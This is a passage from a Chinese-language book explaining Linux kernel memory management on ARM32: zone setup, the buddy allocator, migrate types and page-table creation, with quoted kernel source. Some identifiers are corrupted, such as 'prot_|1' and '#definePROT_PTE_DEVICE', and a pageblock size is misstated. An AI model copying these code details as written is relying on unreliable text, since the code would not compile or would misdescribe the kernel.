     int nid = pgdat->node_id;
     unsigned long zone_start_pfn = pgdat->node_start_pfn;
     int ret;

     pgdat_resize_init(pgdat);
     init_waitqueue_head(&pgdat->kswapd_wait);
     init_waitqueue_head(&pgdat->pfmemalloc_wait);
     pgdat_page_ext_init(pgdat);

     for (j = 0; j < MAX_NR_ZONES; j++) {
          struct zone *zone = pgdat->node_zones + j;
          unsigned long size, realsize, freesize, memmap_pages;

          size = zone_spanned_pages_in_node(nid, j, node_start_pfn,
                             node_end_pfn, zones_size);
          realsize = freesize = size - zone_absent_pages_in_node(nid, j,
                                        node_start_pfn,
                                        node_end_pfn,
                                        zholes_size);

          /*
           * Adjust freesize so that it accounts for how much memory
           * is used by this zone for memmap. This affects the watermark
           * and per-cpu initialisations
           */
          memmap_pages = calc_memmap_size(size, realsize);
          if (!is_highmem_idx(j)) {
                if (freesize >= memmap_pages) {
                      freesize -= memmap_pages;
                if (memmap_pages)
                     printk(KERN_DEBUG
                            "  %s zone: %lu pages used for memmap\n",
                            zone_names[j], memmap_pages);
            } else
                printk(KERN_WARNING
                     "  %s zone: %lu pages exceeds freesize %lu\n",
                     zone_names[j], memmap_pages, freesize);
        }

        /* Account for reserved pages */
        if (j == 0 && freesize > dma_reserve) {
              freesize -= dma_reserve;
              printk(KERN_DEBUG "  %s zone: %lu pages reserved\n",
                       zone_names[0], dma_reserve);
        }

        if (!is_highmem_idx(j))
              nr_kernel_pages += freesize;
        /* Charge for highmem memmap if there are enough kernel pages */
        else if (nr_kernel_pages > memmap_pages * 2)
              nr_kernel_pages -= memmap_pages;
        nr_all_pages += freesize;

        zone->spanned_pages = size;
        zone->present_pages = realsize;
        /*
         * Set an approximate value for lowmem here, it will be adjusted
         * when the bootmem allocator frees pages into the buddy system.
         * And all highmem pages will be managed by the buddy system.
         */
        zone->managed_pages = is_highmem_idx(j) ? realsize : freesize;
        zone->name = zone_names[j];
        spin_lock_init(&zone->lock);
        spin_lock_init(&zone->lru_lock);
        zone_seqlock_init(zone);
        zone->zone_pgdat = pgdat;
        zone_pcp_init(zone);

        /* For bootup, initialized properly in watermark setup */
        mod_zone_page_state(zone, NR_ALLOC_BATCH, zone->managed_pages);

        lruvec_init(&zone->lruvec);
        if (!size)
              continue;

        set_pageblock_order();
        setup_usemap(pgdat, zone, zone_start_pfn, size);
        ret = init_currently_empty_zone(zone, zone_start_pfn,
                           size, MEMMAP_EARLY);
        BUG_ON(ret);
        memmap_init(size, nid, j, zone_start_pfn);
        zone_start_pfn += size;
    }
}

另外系统中会有一个zonelist的数据结构,伙伴系统分配器会从zonelist开始分配内存,zonelist有一个zoneref数组,数组里有一个成员会指向zone数据结构。zoneref数组的第一个成员指向的zone是页面分配器的第一个候选者,其他成员则是第一个候选者分配失败之后才考虑,优先级逐渐降低。zonelist的初始化路径如下:

[start_kernel->build_all_zonelists->build_all_zonelists_init->__build_all_zonelists->build_zonelists->build_zonelists_node]

static int build_zonelists_node(pg_data_t *pgdat, struct zonelist *zonelist,
                   int nr_zones)
{
     struct zone *zone;
     enum zone_type zone_type = MAX_NR_ZONES;

     do {
         zone_type--;
         zone = pgdat->node_zones + zone_type;
         if (populated_zone(zone)) {
               zoneref_set_zone(zone,
                   &zonelist->_zonerefs[nr_zones++]);
              check_highest_zone(zone_type);
         }
     } while (zone_type);

     return nr_zones;
}

这里从最高MAX_NR_ZONES的zone开始,设置到_zonerefs[0]数组中。在ARM Vexpress平台中,该函数的运行结果如下:

HighMem     _zonerefs[0]->zone_index=1
Normal      _zonerefs[1]->zone_index=0

这个在页面分配器中发挥着重要作用,在第2.4节中会详细介绍。

另外,系统中还有一个非常重要的全局变量——mem_map,它是一个struct page的数组,可以实现快速地把虚拟地址映射到物理地址中,这里指内核空间的线性映射,它的初始化是在free_area_init_node()->alloc_node_mem_map()函数中。

在32bit Linux中,一共能使用的虚拟地址空间是4GB,用户空间和内核空间的划分通常是按照3:1来划分,也可以按照2:2来划分。

[arch/arm/Kconfig]
choice
     prompt "Memory split"
     depends on MMU
     default VMSPLIT_3G
     help
       Select the desired split between kernel and user memory.

       If you are not absolutely sure what you are doing, leave this
       option alone!

 config VMSPLIT_3G
          bool "3G/1G user/kernel split"
     config VMSPLIT_2G
         bool "2G/2G user/kernel split"
     config VMSPLIT_1G
         bool "1G/3G user/kernel split"
endchoice

config PAGE_OFFSET
     hex
     default PHYS_OFFSET if !MMU
     default 0x40000000 if VMSPLIT_1G
     default 0x80000000 if VMSPLIT_2G
     default 0xC0000000

在ARM Linux中有一个配置选项“memory split”,可以用于调整内核空间和用户空间的大小划分。通常使用“VMSPLIT_3G”选项,用户空间大小是3GB,内核空间大小是1GB,那么PAGE_OFFSET描述内核空间的偏移量就等于0xC000_0000。也可以选择“VMSPLIT_2G”选项,这时内核空间和用户空间的大小都是2GB,PAGE_OFFSET就等于0x8000_0000。

内核中通常会使用PAGE_OFFSET这个宏来计算内核线性映射中虚拟地址和物理地址的转换。

/* PAGE_OFFSET - the virtual address of the start of the kernel image */
#define PAGE_OFFSET        UL(CONFIG_PAGE_OFFSET)

例如,内核中用于计算线性映射的物理地址和虚拟地址的转换关系。线性映射的物理地址等于虚拟地址vaddr减去PAGE_OFFSET(0xC000_0000)再减去PHYS_OFFSET(在部分ARM系统中该值为0)。

[arch/arm/include/asm/memory.h]

static inline phys_addr_t __virt_to_phys(unsigned long x)
{
     return (phys_addr_t)x - PAGE_OFFSET + PHYS_OFFSET;
}

static inline unsigned long __phys_to_virt(phys_addr_t x)
{
     return x - PHYS_OFFSET + PAGE_OFFSET;
}

在内核启动时,内核知道物理内存DDR的大小并且计算出高端内存的起始地址和内核空间的内存布局后,物理内存页面page就要加入到伙伴系统中,那么物理内存页面如何添加到伙伴系统中呢?

伙伴系统(Buddy System)是操作系统中最常用的一种动态存储管理方法,在用户提出申请时,分配一块大小合适的内存块给用户,反之在用户释放内存块时回收。在伙伴系统中,内存块是2的order次幂。Linux内核中order的最大值用MAX_ORDER来表示,通常是11,也就是把所有的空闲页面分组成11个内存块链表,每个内存块链表分别包括1、2、4、8、16、32、…、1024个连续的页面。1024个页面对应着4MB大小的连续物理内存。

物理内存在Linux内核中分出几个zone来管理,zone根据内核的配置来划分,例如在ARM Vexpress平台中,zone分为ZONE_NORMAL和ZONE_HIGHMEM。

伙伴系统的空闲页块的管理如图2.2所示,zone数据结构中有一个free_area数组,数组的大小是MAX_ORDER。free_area数据结构中包含了MIGRATE_TYPES个链表,这里相当于zone中根据order的大小有0到MAX_ORDER−1个free_area,每个free_area根据MIGRATE_TYPES类型有几个相应的链表。

图2.2 伙伴系统的空闲页块管理

[include/linux/mmzone.h]

struct zone {
     ...
     /* free areas of different sizes */
     struct free_area    free_area[MAX_ORDER];
     ...
};

struct free_area {
     struct list_head    free_list[MIGRATE_TYPES];
     unsigned long        nr_free;
};

MIGRATE_TYPES类型的定义也在mmzone.h文件中。

[include/linux/mmzone.h]

enum {
     MIGRATE_UNMOVABLE,
     MIGRATE_RECLAIMABLE,
     MIGRATE_MOVABLE,
     MIGRATE_PCPTYPES,    /* the number of types on the pcp lists */
     MIGRATE_RESERVE = MIGRATE_PCPTYPES,
     MIGRATE_TYPES
};

MIGRATE_TYPES类型包含MIGRATE_UNMOVABLE、MIGRATE_RECLAIMABLE、MIGRATE_MOVABLE以及MIGRATE_RESERVE等几种类型。当前页面分配的状态可以从/proc/pagetypeinfo中获取得到。

如图2.3所示,从pagetypeinfo可以看出两个特点:

图2.3 ARM Vexpress平台pagetypeinfo信息

我们思考一个问题,Linux内核初始化时究竟有多少页面是MIGRATE_MOVABLE?

内存管理中有一个pageblock的概念,一个pageblock的大小通常是(MAX_ORDER−1)个页面。如果体系结构中提供了HUGETLB_PAGE特性,那么pageblock_order定义为HUGETLB_PAGE_ORDER。

#ifdef CONFIG_HUGETLB_PAGE
#define pageblock_order        HUGETLB_PAGE_ORDER
#else
#define pageblock_order        (MAX_ORDER-1)
#endif

每个pageblock有一个相应的MIGRATE_TYPES类型。zone数据结构中有一个成员指针pageblock_flags,它指向用于存放每个pageblock的MIGRATE_TYPES类型的内存空间。pageblock_flags指向的内存空间的大小通过usemap_size()函数来计算,每个pageblock用4个比特位来存放MIGRATE_TYPES类型。

zone的初始化函数free_area_init_core()会调用setup_usemap()函数来计算和分配pageblock_flags所需要的大小,并且分配相应的内存。

[free_area_init_core->setup_usemap-> usemap_size]

static unsigned long __init usemap_size(unsigned long zone_start_pfn, unsigned long zonesize)
{
     unsigned long usemapsize;

     zonesize += zone_start_pfn & (pageblock_nr_pages-1);
     usemapsize = roundup(zonesize, pageblock_nr_pages);
     usemapsize = usemapsize >> pageblock_order;
     usemapsize *= NR_PAGEBLOCK_BITS;
     usemapsize = roundup(usemapsize, 8 * sizeof(unsigned long));
     return usemapsize / 8;
}

usemap_size()函数首先计算zone有多少个pageblock,每个pageblock需要4bit来存放MIGRATE_TYPES类型,最后可以计算出需要多少Byte。然后通过memblock_virt_alloc_try_nid_nopanic()来分配内存,并且zone->pageblock_flags成员指向这段内存。

例如在ARM Vexpress平台,ZONE_NORMAL的大小是760MB,每个pageblock大小是4MB,那么就有190个pageblock,每个pageblock的MIGRATE_TYPES类型需要4bit,所以管理这些pageblock,需要96Byte。

内核有两个函数来管理这些迁移类型:get_pageblock_migratetype()和set_pageblock_migratetype()。内核初始化时所有的页面最初都标记为MIGRATE_MOVABLE类型,见free_area_init_core()->memmap_init()函数。

[start_kernel()->setup_arch()->paging_init()->bootmem_init()->zone_sizes_init()->free_area_init_node()->free_area_init_core()->memmap_init()]

void __meminit memmap_init_zone(unsigned long size, int nid, unsigned long zone,
        unsigned long start_pfn, enum memmap_context context)
{
     struct page *page;
     unsigned long end_pfn = start_pfn + size;
     unsigned long pfn;
     struct zone *z;

     z = &NODE_DATA(nid)->node_zones[zone];
     for (pfn = start_pfn; pfn < end_pfn; pfn++) {
          page = pfn_to_page(pfn);
          init_page_count(page);
          page_mapcount_reset(page);
          page_cpupid_reset_last(page);
          SetPageReserved(page);

          if ((z->zone_start_pfn <= pfn)
               && (pfn < zone_end_pfn(z))
               && !(pfn & (pageblock_nr_pages - 1)))
               set_pageblock_migratetype(page, MIGRATE_MOVABLE);

          INIT_LIST_HEAD(&page->lru);
     }
}

set_pageblock_migratetype()用于设置指定pageblock的MIGRATE_TYPES类型,最后调用set_pfnblock_flags_mask()来设置pagelock的迁移类型。

void set_pfnblock_flags_mask(struct page *page, unsigned long flags,
                       unsigned long pfn,
                       unsigned long end_bitidx,
                       unsigned long mask)
{
     struct zone *zone;
     unsigned long *bitmap;
     unsigned long bitidx, word_bitidx;
     unsigned long old_word, word;

     BUILD_BUG_ON(NR_PAGEBLOCK_BITS != 4);

     zone = page_zone(page);
     bitmap = get_pageblock_bitmap(zone, pfn);
     bitidx = pfn_to_bitidx(zone, pfn);
     word_bitidx = bitidx / BITS_PER_LONG;
     bitidx &= (BITS_PER_LONG-1);

     VM_BUG_ON_PAGE(!zone_spans_pfn(zone, pfn), page);

     bitidx += end_bitidx;
     mask <<= (BITS_PER_LONG - bitidx - 1);
     flags <<= (BITS_PER_LONG - bitidx - 1);

     word = ACCESS_ONCE(bitmap[word_bitidx]);
     for (;;) {
          old_word = cmpxchg(&bitmap[word_bitidx], word, (word & ~mask) | flags);
          if (word == old_word)
               break;
          word = old_word;
     }
}

下面我们来思考,物理页面是如何加入到伙伴系统中的?是一页一页地添加,还是以2的几次幂来加入吗?

在free_low_memory_core_early()函数中,通过for_each_free_mem_range()函数来遍历所有的memblock内存块,找出内存块的起始地址和结束地址。

[start_kernel-> mm_init-> mem_init-> free_all_bootmem-> free_low_memory_core_early]

static unsigned long __init free_low_memory_core_early(void)
{
     unsigned long count = 0;
     phys_addr_t start, end;
     u64 i;

     memblock_clear_hotplug(0, -1);

 for_each_free_mem_range(i, NUMA_NO_NODE, &start, &end, NULL)
         count += __free_memory_core(start, end);

     return count;
}

把内存块传递到__free_pages_memory()函数中,该函数定义如下:

static inline unsigned long __ffs(unsigned long x)
{
     return ffs(x) - 1;
}

static void __init __free_pages_memory(unsigned long start, unsigned long end)
{
     int order;

 while (start < end) {
          order = min(MAX_ORDER - 1UL, __ffs(start));

          while (start + (1UL << order) > end)
               order--;

          __free_pages_bootmem(pfn_to_page(start), order);
          start += (1UL << order);
     }
}

注意这里参数start和end指页帧号,while循环一直从起始页帧号start遍历到end,循环的步长和order有关。首先计算order的大小,取MAXORDER−1和\_ffs(start)的最小值。ffs(start)函数计算start中第一个bit为1的位置,注意__ffs() = ffs() −1。因为伙伴系统的链表都是2的n次幂,最大的链表是2的10次方,也就是1024,即0x400。所以,通过ffs()函数可以很方便地计算出地址的对齐边界。例如start等于0x63300,那么__ffs(0x63300)等于8,那么这里order选用8。

得到order值后,我们就可以把这块内存通过__free_pages_bootmem()函数添加到伙伴系统了。

void __init __free_pages_bootmem(struct page *page, unsigned int order)
{
     unsigned int nr_pages = 1 << order;
     struct page *p = page;

     page_zone(page)->managed_pages += nr_pages;
     set_page_refcounted(page);
 __free_pages(page, order);
}

__free_pages()函数是伙伴系统的核心函数,这里按照order的方式添加到伙伴系统中,该函数在第2.4节中会详细介绍。

下面是向系统中添加一段内存的情况,页帧号范围为[0x8800e, 0xaecea],以start为起始来计算其order,一开始order的数值还比较凌乱,等到start和0x400对齐,以后基本上order都取值为10了,也就是都挂入order为10的free_list链表中。

__free_pages_memory: start=0x8800e, end=0xaecea

__free_pages_memory: start=0x8800e, order=1, __ffs()=1, ffs()=2
__free_pages_memory: start=0x88010, order=4, __ffs()=4, ffs()=5
__free_pages_memory: start=0x88020, order=5, __ffs()=5, ffs()=6
__free_pages_memory: start=0x88040, order=6, __ffs()=6, ffs()=7
__free_pages_memory: start=0x88080, order=7, __ffs()=7, ffs()=8
__free_pages_memory: start=0x88100, order=8, __ffs()=8, ffs()=9
__free_pages_memory: start=0x88200, order=9, __ffs()=9, ffs()=10
__free_pages_memory: start=0x88400, order=10, __ffs()=10, ffs()=11
__free_pages_memory: start=0x88800, order=10, __ffs()=11, ffs()=12
__free_pages_memory: start=0x88c00, order=10, __ffs()=10, ffs()=11
__free_pages_memory: start=0x89000, order=10, __ffs()=12, ffs()=13
__free_pages_memory: start=0x89400, order=10, __ffs()=10, ffs()=11
__free_pages_memory: start=0x89800, order=10, __ffs()=11, ffs()=12
__free_pages_memory: start=0x89c00, order=10, __ffs()=10, ffs()=11
…

在阅读本节前请思考如下小问题。

在32bit的Linux内核中一般采用3层的映射模型,第1层是页面目录(PGD),第2层是页面中间目录(PMD),第3层才是页面映射表(PTE)。但在ARM32系统中只用到两层映射,因此在实际代码中就要在3层的映射模型中合并1层。在ARM32架构中,可以按段(section)来映射,这时采用单层映射模式。使用页面映射需要两层映射结构,页面的选择可以是64KB的大页面或4KB的小页面,如图2.4所示。Linux内核通常默认使用4KB大小的小页面。

图2.4 ARM32处理器查询页表

如果采用单层的段映射,内存中有个段映射表,表中有4096个表项,每个表项的大小是4Byte,所以这个段映射表的大小是16KB,而且其位置必须与16KB边界对齐。每个段表项可以寻址1MB大小的地址空间。当CPU访问内存时,32位虚拟地址的高12位(bit[31:20])用作访问段映射表的索引,从表中找到相应的表项。每个表项提供了一个12位的物理段地址,以及相应的标志位,如可读、可写等标志位。将这个12位物理地址和虚拟地址的低20位拼凑在一起,就得到32位的物理地址。

如果采用页表映射的方式,段映射表就变成一级映射表(First Level table,在Linux内核中称为PGD),其表项提供的不再是物理段地址,而是二级页表的基地址。32位虚拟地址的高12位(bit[31:20])作为访问一级页表的索引值,找到相应的表项,每个表项指向一个二级页表。以虚拟地址的次8位(bit[19:12])作为访问二级页表的索引值,得到相应的页表项,从这个页表项中找到20位的物理页面地址。最后将这20位物理页面地址和虚拟地址的低12位拼凑在一起,得到最终的32位物理地址。这个过程在ARM32架构中由MMU硬件完成,软件不需要接入。

[arch/arm/include/asm/pgtable-2level.h]

#define PMD_SHIFT             21
#define PGDIR_SHIFT           21

#define PMD_SIZE              (1UL << PMD_SHIFT)
#define PMD_MASK              (~(PMD_SIZE-1))
#define PGDIR_SIZE            (1UL << PGDIR_SHIFT)
#define PGDIR_MASK            (~(PGDIR_SIZE-1)) 

ARM32架构中一级页表PGD的偏移量应该从20位开始,为何这里的头文件定义从21位开始呢?

我们从ARM Linux内核建立具体内存区间的页面映射过程来看页表映射是如何实现的。create_mapping()函数就是为一个给定的内存区间建立页面映射,这个函数使用map_desc数据结构来描述一个内存区间。

struct map_desc {
     unsigned long virtual;   //虚拟地址的起始地址
     unsigned long pfn;       //物理地址的开始地址的页帧号
     unsigned long length;    //内存区间大小
     unsigned int type;
};

其中,virtual表示这个区间的虚拟地址起始点,pfn表示起始物理地址的页帧号,length表示内存区间的长度,type表示内存区间的属性,通常有个struct mem_type[]数组来描述内存属性。struct mem_type数据结构描述内存区间类型以及相应的权限和属性等信息,其数据结构定义如下:

struct mem_type {
     pteval_t prot_pte;
     pteval_t prot_pte_s2;
     pmdval_t prot_|1;
     pmdval_t prot_sect;
     unsigned int domain;
};

其中,domain成员用于ARM中定义的不同的域,ARM中允许使用16个不同的域,但在ARM Linux中只定义和使用3个。

#define DOMAIN_KERNEL     2
#define DOMAIN_TABLE     2
#define DOMAIN_USER     1
#define DOMAIN_IO  0

DOMAIN_KERNEL和DOMAIN_TABLE其实用于系统空间,DOMAIN_IO用于I/O地址域,实际上也属于系统空间,DOMAIN_USER则是用户空间。

prot_pte成员用于页面表项的控制位和标志位,具体定义在:

#define L_PTE_VALID          (_AT(pteval_t, 1) << 0)          /* Valid */
#define L_PTE_PRESENT            (_AT(pteval_t, 1) << 0)
#define L_PTE_YOUNG          (_AT(pteval_t, 1) << 1)
#define L_PTE_DIRTY          (_AT(pteval_t, 1) << 6)
#define L_PTE_RDONLY             (_AT(pteval_t, 1) << 7)
#define L_PTE_USER          (_AT(pteval_t, 1) << 8)
#define L_PTE_XN        (_AT(pteval_t, 1) << 9)
#define L_PTE_SHARED           (_AT(pteval_t, 1) << 10) /* shared(v6), coherent(xsc3) */
#define L_PTE_NONE          (_AT(pteval_t, 1) << 11)

#definePROT_PTE_DEVICE         L_PTE_PRESENT|L_PTE_YOUNG|L_PTE_DIRTY|L_PTE_XN
#define PROT_PTE_S2_DEVICE    PROT_PTE_DEVICE
#define PROT_SECT_DEVICE     PMD_TYPE_SECT|PMD_SECT_AP_WRITE

prot__|1成员用于一级页表项的控制位和标志位,具体定义如下:

#define PMD_TYPE_MASK       (_AT(pmdval_t, 3) << 0)
#define PMD_TYPE_FAULT      (_AT(pmdval_t, 0) << 0)
#define PMD_TYPE_TABLE      (_AT(pmdval_t, 1) << 0)
#define PMD_TYPE_SECT       (_AT(pmdval_t, 2) << 0)
#define PMD_PXNTABLE        (_AT(pmdval_t, 1) << 2)      /* v7 */
#define PMD_BIT4        (_AT(pmdval_t, 1) << 4)
#define PMD_DOMAIN(x)       (_AT(pmdval_t, (x)) << 5)
#define PMD_PROTECTION      (_AT(pmdval_t, 1) << 9)          /* v5 */

系统中定义了一个全局的mem_type[ ]数组来描述所有的内存区间类型。例如,MT_DEVICE_CACHED、MT_DEVICE_WC、MT_MEMORY_RWX和MT_MEMORY_RW类型的内存区间的定义如下:

static struct mem_type mem_types[] = {
     …
     [MT_DEVICE_CACHED] = {       /* ioremap_cached */
        .prot_pte     = PROT_PTE_DEVICE | L_PTE_MT_DEV_CACHED,
        .prot__|1     = PMD_TYPE_TABLE,
        .prot_sect     = PROT_SECT_DEVICE | PMD_SECT_WB,
        .domain          = DOMAIN_IO,
     },
     [MT_DEVICE_WC] = {     /* ioremap_wc */
        .prot_pte     = PROT_PTE_DEVICE | L_PTE_MT_DEV_WC,
        .prot__|1     = PMD_TYPE_TABLE,
        .prot_sect     = PROT_SECT_DEVICE,
        .domain          = DOMAIN_IO,
     },
     [MT_MEMORY_RWX] = {
        .prot_pte  = L_PTE_PRESENT | L_PTE_YOUNG | L_PTE_DIRTY,
        .prot_|1   = PMD_TYPE_TABLE,
        .prot_sect = PMD_TYPE_SECT | PMD_SECT_AP_WRITE,
        .domain     = DOMAIN_KERNEL,
     },
     [MT_MEMORY_RW] = {
        .prot_pte  = L_PTE_PRESENT | L_PTE_YOUNG | L_PTE_DIRTY |
                 L_PTE_XN,
        .prot__|1   = PMD_TYPE_TABLE,
        .prot_sect = PMD_TYPE_SECT | PMD_SECT_AP_WRITE,
        .domain     = DOMAIN_KERNEL,
     },
};

这样一个map_desc数据结构就完整地描述了一个内存区间,调用create_mapping()时以此数据结构指针为调用参数。

[start_kernel()->setup_arch()->paging_init()->map_lowmem ()->create_mapping]

0 static void __init create_mapping(struct map_desc *md)
1 {
2    unsigned long addr, length, end;
3    phys_addr_t phys;
4    const struct mem_type *type;
5    pgd_t *pgd;
6    
7    type = &mem_types[md->type];
8 
9    addr = md->virtual & PAGE_MASK;
10   phys = __pfn_to_phys(md->pfn);
11   length = PAGE_ALIGN(md->length + (md->virtual & ~PAGE_MASK));
12   
13   pgd = pgd_offset_k(addr);
14   end = addr + length;
15   do {
16       unsigned long next = pgd_addr_end(addr, end);
17
18       alloc_init_pud(pgd, addr, next, phys, type);
19
20       phys += next - addr;
21       addr = next;
22   } while (pgd++, addr != end);
23}

在create_mapping()函数中,以PGDIR_SIZE为单位,在内存区域[virtual, virtual +length]中通过调用alloc_init_pud()来初始化PGD页表项内容和下一级页表PUD。pgd_addr_end()以PGDIR_SIZE为步长。

在第7行代码中,通过md->type来获取描述内存区域属性的mem_type数据结构,这里只需要通过查表的方式获取mem_type数据结构里的具体内容。

在第13行代码中,通过pgd_offset_k()函数获取所属的页面目录项PGD。内核的页表存放在swapper_pg_dir地址中,可以通过init_mm数据结构来获取。

[mm/init-mm.c]

struct mm_struct init_mm = {
     .mm_rb          = RB_ROOT,
 .pgd = swapper_pg_dir,
     .mm_users     = ATOMIC_INIT(2),
     .mm_count     = ATOMIC_INIT(1),
     .mmap_sem     = __RWSEM_INITIALIZER(init_mm.mmap_sem),
     .page_table_lock =  __SPIN_LOCK_UNLOCKED(init_mm.page_table_lock),
     .mmlist          = LIST_HEAD_INIT(init_mm.mmlist),
     INIT_MM_CONTEXT(init_mm)
};

内核页表的基地址定义在arch/arm/kernel/head.S汇编代码中。

[arch/arm/kernel/head.S]

#define KERNEL_RAM_VADDR          (PAGE_OFFSET + TEXT_OFFSET)
#define PG_DIR_SIZE      0x4000
.globl  swapper_pg_dir
  .equ     swapper_pg_dir, KERNEL_RAM_VADDR - PG_DIR_SIZE

[arch/arm/Makefile]
  textofs-y        := 0x00008000
  TEXT_OFFSET :=$(textofs-y) 

从上面代码中可以推算出页表的基地址是0xc0004000。

pgd_offset_k()宏可以从init_mm数据结构所指定的页面目录中找到地址addr所属的页面目录项指针pgd。首先通过init_mm结构体得到页表的基地址,然后通过addr右移PGDIR_SHIFT得到pgd的索引值,最后在一级页表中找到相应的页表项pgd指针。pgd_offset_k()宏定义如下:

#define PGDIR_SHIFT          21
#define pgd_index(addr)          ((addr) >> PGDIR_SHIFT)
#define pgd_offset(mm, addr)     ((mm)->pgd + pgd_index(addr))
#define pgd_offset_k(addr)pgd_offset(&init_mm, addr)

create_mapping()函数中的第15~22行代码,由于ARM Vexpress平台支持两级页表映射,所以PUD和PMD设置成与PGD等同了。

static inline pud_t * pud_offset(pgd_t * pgd, unsigned long address)
{
     return (pud_t *)pgd;
}

static inline pmd_t *pmd_offset(pud_t *pud, unsigned long addr)
{
     return (pmd_t *)pud;
}

因此alloc_init_pud()函数一路调用到alloc_init_pte()函数。

static void __init alloc_init_pte(pmd_t *pmd, unsigned long addr,
                       unsigned long end, unsigned long pfn,
                       const struct mem_type *type)
{
     pte_t *pte = early_pte_alloc(pmd, addr, type->prot_|1);
     do {
          set_pte_ext(pte, pfn_pte(pfn, __pgprot(type->prot_pte)), 0);
          pfn++;
     } while (pte++, addr += PAGE_SIZE, addr != end);
}

alloc_init_pte()首先判断相应的PTE页表项是否已经存在,如果不存在,那就要新建PTE页表项。接下来的while循环是根据物理地址的pfn页帧号来生成新的PTE表项(PTE entry),最后设置到ARM硬件页表中。

[create_mapping-> alloc_init_pud-> alloc_init_pmd-> alloc_init_pte-> early_pte_alloc]

static pte_t * __init early_pte_alloc(pmd_t *pmd, unsigned long addr, unsigned long prot)
{
     if (pmd_none(*pmd)) {
          pte_t *pte = early_alloc(PTE_HWTABLE_OFF + PTE_HWTABLE_SIZE);
 __pmd_populate(pmd, __pa(pte), prot);
     }
     BUG_ON(pmd_bad(*pmd));
     return pte_offset_kernel(pmd, addr);
}

pmd_none()检查这个参数对应的PMD表项的内容,如果为0,说明页面表PTE还没建立,所以要先去建立页面表。这里会去分配(PTE_HWTABLE_OFF + PTE_HWTABLE_SIZE)个PTE页面表项,即会分配512+512个PTE页面表。但是ARM32架构中,二级页表也只有256个页面表项,为何要分配这么多呢?

#define PTRS_PER_PTE          512
#define PTRS_PER_PMD          1
#define PTRS_PER_PGD          2048
#define PTE_HWTABLE_PTRS     (PTRS_PER_PTE)
#define PTE_HWTABLE_OFF          (PTE_HWTABLE_PTRS * sizeof(pte_t))
#define PTE_HWTABLE_SIZE     (PTRS_PER_PTE * sizeof(u32))

先回答刚才的问题:ARM结构中一级页表PGD的偏移量应该从20位开始,为何这里的头文件定义从21位开始呢?

然后把这个PTE页面表的基地址通过__pmd_populate()函数设置到PMD页表项中。

static inline void __pmd_populate(pmd_t *pmdp, phys_addr_t pte,
                      pmdval_t prot)
{
 pmdval_t pmdval = (pte + PTE_HWTABLE_OFF) | prot;
     pmdp[0] = __pmd(pmdval);
     pmdp[1] = __pmd(pmdval + 256 * sizeof(pte_t));
     flush_pmd_entry(pmdp);
}

注意这里是把刚分配的1024个PTE页面表中的第512个页表项的地址作为基地址,再加上一些标志位信息prot作为页表项内容,写入上一级页表项PMD中。

相邻的两个二级页表的基地址分别写入PMD的页表项中的pmdp[0]和pmdp[1]指针中。

typedef struct { pmdval_t pgd[2]; } pgd_t;

/* to find an entry in a page-table-directory */
#define pgd_index(addr)          ((addr) >> PGDIR_SHIFT)

#define pgd_offset(mm, addr)     ((mm)->pgd + pgd_index(addr))

PGD的定义其实是pmdval_t pgd[2],长度是两倍,也就是pgd包括两份相邻的PTE页表。所以pgd_offset()在查找pgd表项时,是按照pgd[2]长度来进行计算的,因此查找相应的pgd表项时,其中pgd[0]指向第一份PTE页表,pgd[1]指向第二份PTE页表。

pte_offset_kernel()函数返回相应的PTE页面表项,然后通过__pgprot()和pfn组成PTE entry,最后由set_pte_ext()完成对硬件页表项的设置。

static void __init alloc_init_pte(pmd_t *pmd, unsigned long addr,
                       unsigned long end, unsigned long pfn,
                       const struct mem_type *type)
{
     pte_t *pte = early_pte_alloc(pmd, addr, type->prot_|1);
     do {
         set_pte_ext(pte, pfn_pte(pfn, __pgprot(type->prot_pte)), 0);
         pfn++;
     } while (pte++, addr += PAGE_SIZE, addr != end);
}

set_pte_ext()对于不同的CPU有不同的实现。对于基于ARMv7-A架构的处理器,例如Cortex-A9,它的实现是在汇编函数cpu_v7_set_pte_ext中:

[arch/arm/mm/proc-v7-2level.S]

0   ENTRY(cpu_v7_set_pte_ext)
1   #ifdef CONFIG_MMU
2            str   r1, [r0]                   @ linux version
3 
4            bic   r3, r1, #0x000003f0
5            bic   r3, r3, #PTE_TYPE_MASK
6            orr   r3, r3, r2
7            orr   r3, r3, #PTE_EXT_AP0 | 2
8 
9            tst   r1, #1 << 4
10           orrne r3, r3, #PTE_EXT_TEX(1)  //设置TEX
11
12
13           eor   r1, r1, #L_PTE_DIRTY
14           tst   r1, #L_PTE_RDONLY | L_PTE_DIRTY
15           orrne r3, r3, #PTE_EXT_APX //设置AP[2]
16
17           tst   r1, #L_PTE_USER
18           orrne r3, r3, #PTE_EXT_AP1 //设置AP[1:0]
19
20           tst   r1, #L_PTE_XN
21           orrne r3, r3, #PTE_EXT_XN  //设置PXN位
22
23           tst   r1, #L_PTE_YOUNG
24           tstne r1, #L_PTE_VALID
25           eorne r1, r1, #L_PTE_NONE
26           tstne r1, #L_PTE_NONE
27           moveq r3, #0
28           
29     ARM(  str  r3, [r0, #2048]! )  //写入硬件页表,硬件页表在软件页表+2048Byte
30           ALT_SMP(W(nop))
31           ALT_UP (mcr    p15, 0, r0, c7, c10, 1)        @ flush_pte
32     #endif
33           bx     lr
34     ENDPROC(cpu_v7_set_pte_ext) 

cpu_v7_set_pte_ext()函数参数r0表示PTE entry页面表项的指针,注意ARM Linux中实现了两份页表,硬件页表的地址r0 + 2048。因此r0指Linux版本的页面表地址,r1表示要写入的Linux版本的PTE页面表项的内容,这里指Linux版本的页面表项的内容,而非硬件版本的页面表项内容。该函数的主要目的是根据Linux版本的页面表项内容来填充ARM硬件版本的页表项。

首先把Linux版本的页面表项内容写入Linux版本的页表中,然后根据mem_type数据结构prot_pte的标志位来设置ARMv7-A硬件相关的标志位。prot_pte的标志位是Linux内核中采用的,定义在arch/arm/include/asm/pgtable-2level.h头文件中,而硬件相关的标志位定义在arch/arm/include/asm/pgtable-2level-hwdef.h头文件。这两份标志位对应的偏移是不一样的,所以不同架构的处理器需要单独处理。ARM32架构硬件PTE页面表定义的标志位如下:

[arch/arm/include/asm/pgtable-2level-hwdef.h]

/*
 *   - extended small page/tiny page
 */
#define PTE_EXT_XN         (_AT(pteval_t, 1) << 0)          /* v6 */
#define PTE_EXT_AP_MASK    (_AT(pteval_t, 3) << 4)
#define PTE_EXT_AP0        (_AT(pteval_t, 1) << 4)
#define PTE_EXT_AP1        (_AT(pteval_t, 2) << 4)
#define PTE_EXT_AP_UNO_SRO (_AT(pteval_t, 0) << 4)
#define PTE_EXT_AP_UNO_SRW  (PTE_EXT_AP0)
